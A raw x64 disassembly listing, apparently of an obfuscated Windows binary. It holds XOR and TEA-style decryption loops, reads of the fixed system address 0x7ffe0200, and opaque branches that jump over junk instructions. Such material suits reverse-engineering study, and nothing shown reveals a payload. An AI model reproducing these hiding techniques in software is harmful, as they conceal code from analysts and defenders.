movabs rsi, 0xffebb71d94fcdaf9
mul rsi
mov r8, rdx
mov rcx, rax
add rcx, 1
adc r8, 0
xor r10d, r10d
xor qword [rsp + r10*8 + 0x1e0], r9
inc r10
mov rax, rcx
mul rsi
add rax, r8
mov r8, rdx
adc r8, 0
mov r9, rcx
mov rcx, rax
cmp r10, 0x12
jne 0x1401c8973
mov ebp, dword [rsp + 0x74]
movsxd rax, ebp
movabs rcx, 0xb0fbb58914d82b4
mov qword [rsp + 0x38], rcx
movabs rcx, 0xc85e276b0749207d
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x1e0]
lea r9, [rsp + 0x270]
mov edx, 0x400
lea rdi, [rsp + 0x470]
mov rcx, rdi
call qword [rsp + pe_nt_image_headers64]
add eax, eax
mov word [rsp + 0x88], ax
mov word [rsp + 0x8a], 0x800
mov qword [rsp + 0x90], rdi
movaps xmm0, xmmword [0x1402fa010]
movaps xmmword [rsp + 0x190], xmm0
movaps xmm0, xmmword [0x1402fa020]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [0x1402fa030]
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmm0, xmmword [0x1402fa040]
movaps xmmword [rsp + 0x1c0], xmm0
movabs rax, 0xc4709a266c56cdd3
mov qword [rsp + 0x1d0], rax
mov word [rsp + 0x1d8], 0xb647
mov dword [rsp + 0x140], 0x4a0048
mov ecx, 0x7a279328
mov edx, 0x948ff91b
cmp edx, ecx
ja 0x1401c8a81
phsubw xmm1, xmmword [rbx + 0xff5987e]
mov dh, 4
and eax, 0x7ffe0200
add eax, 0xf5987e8b
movzx eax, byte [0x7ffe0200]
movabs r8, 0xd8b72e6b948ff91b
add r8, rax
mov rax, r8
mul rsi
mov rcx, rdx
add rax, 1
adc rcx, 0
xor r10d, r10d
mov r9, rax
xor qword [rsp + r10*8 + 0x190], r8
inc r10
mul rsi
add rax, rcx
mov rcx, rdx
adc rcx, 0
mov r8, r9
cmp r10, 9
jne 0x1401c8aaf
lea rcx, [rsp + 0x190]
xor byte [rcx + 0x48], r9b
xor byte [rcx + 0x49], al
lea rax, [rsp + 0x140]
mov qword [rax + 8], rcx
lea rcx, [rsp + 0x88]
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 0x10
mov eax, 0xffffffff
mov qword [rsp + 0xb8], rax
movzx eax, byte [0x7ffe0200]
add eax, 0xb16284f8
mov ecx, 0x524b0e0c
mov edi, 0xd0acf75f
mov edx, 4
mov r8d, 0xebd87118
mov r9d, edi
shl r9d, 4
add r9d, 0x49d56337
lea r10d, [r8 + rdi]
add r10d, 0x4e9d7b08
xor r10d, r9d
mov r9d, edi
shr r9d, 5
add r9d, 0xb8b2c15
xor r9d, r10d
sub ecx, r9d
mov r9d, ecx
shl r9d, 4
add r9d, 0x6792fc12
lea r10d, [r8 + rcx]
xor r10d, r9d
mov r9d, ecx
shr r9d, 5
add r9d, 0x8da5ff5a
xor r9d, r10d
sub edi, r9d
add r8d, eax
dec edx
jne 0x1401c8b41
mov ecx, 0x9194e7e5
mov edx, 0x6792fc12
cmp edx, ecx
jb 0x1401c8bb0
fincstp
ror byte [rdi], 1
mov dh, 4
and eax, 0x7ffe0200
not eax
movzx eax, byte [0x7ffe0200]
add eax, 0xd4ed549c
mov ecx, 0xdb612720
mov r8d, 0x78263b79
mov edx, 4
mov r9d, 0x8138022c
mov r10d, r8d
shl r10d, 4
add r10d, 0xdf580527
lea r11d, [r9 + r8]
add r11d, 0x2b12ab64
xor r11d, r10d
mov r10d, r8d
shr r10d, 5
add r10d, 0x6f7b6e54
xor r10d, r11d
sub ecx, r10d
mov r10d, ecx
shl r10d, 4
add r10d, 0x426e285c
lea r11d, [r9 + rcx]
xor r11d, r10d
mov r10d, ecx
shr r10d, 5
add r10d, 0x84720269
xor r10d, r11d
sub r8d, r10d
add r9d, eax
dec edx
jne 0x1401c8bd5
mov ecx, 0x60249d7e
mov edx, 0x426e285c
cmp edx, ecx
jb 0x1401c8c44
fincstp
ror byte [rax - 0x75], 1
or eax, 0x1dabe3
not eax
mov rcx, qword [0x1403a3830]
movzx eax, byte [0x7ffe0200]
add eax, 0x5164cace
mov edx, 0x73a93b01
mov r9d, 0x42348e7e
mov r10d, 4
mov r11d, 0xbd19f96
mov esi, r9d
shl esi, 4
add esi, 0x3697f812
lea ebx, [r11 + r9]
add ebx, 0xae9b3532
xor ebx, esi
mov esi, r9d
shr esi, 5
add esi, 0xb47078e0
xor esi, ebx
sub edx, esi
mov esi, edx
shl esi, 4
add esi, 0x6cf0a076
lea ebx, [r11 + rdx]
xor ebx, esi
mov esi, edx
shr esi, 5
add esi, 0x762acf43
xor esi, ebx
sub r9d, esi
add r11d, eax
dec r10d
jne 0x1401c8c71
mov r10d, 0x3ca8149
mov r11d, 0x6cf0a076
cmp r11d, r10d
ja 0x1401c8cd4
sysexit
jp 0x1401c8d3b
xor eax, 0x6483647a
mov eax, r9d
and dword [rsp + rax*2 - 0x77], 0xffffffc8
shl rdx, 0x20
or rdx, rax
lea r9, [rcx + rdx]
mov r10d, 0x11f27a7b
mov r11d, 0xb53aaa94
cmp r11d, r10d
ja 0x1401c8cf9
sysexit
invalid
xor eax, 0x73ee0bc7
movzx eax, byte [rcx + rdx]
mov eax, dword [r9 + rax*4 + 0x14]
mov dword [rsp + 0x4c], eax
movups xmm0, xmmword [rcx + rdx + 1]
movaps xmmword [rsp + 0x150], xmm0
movabs rcx, 0x638d1561af5b3355
mov eax, 1
lea rdx, [r14 - 0x48c0]
movzx r9d, byte [rsp + rax + 0x150]
xor rcx, r9
imul rcx, rdx
imul ecx, edx
inc rax
cmp rax, 6
jne 0x1401c8d2e
movabs rdx, 0x1000000188b
lea r10, [rsp + 0x4c]
lea r13, [rsp + 0xc0]
mov ebx, 4
mov r11d, 4
mov eax, 2
xor r12d, r12d
hlt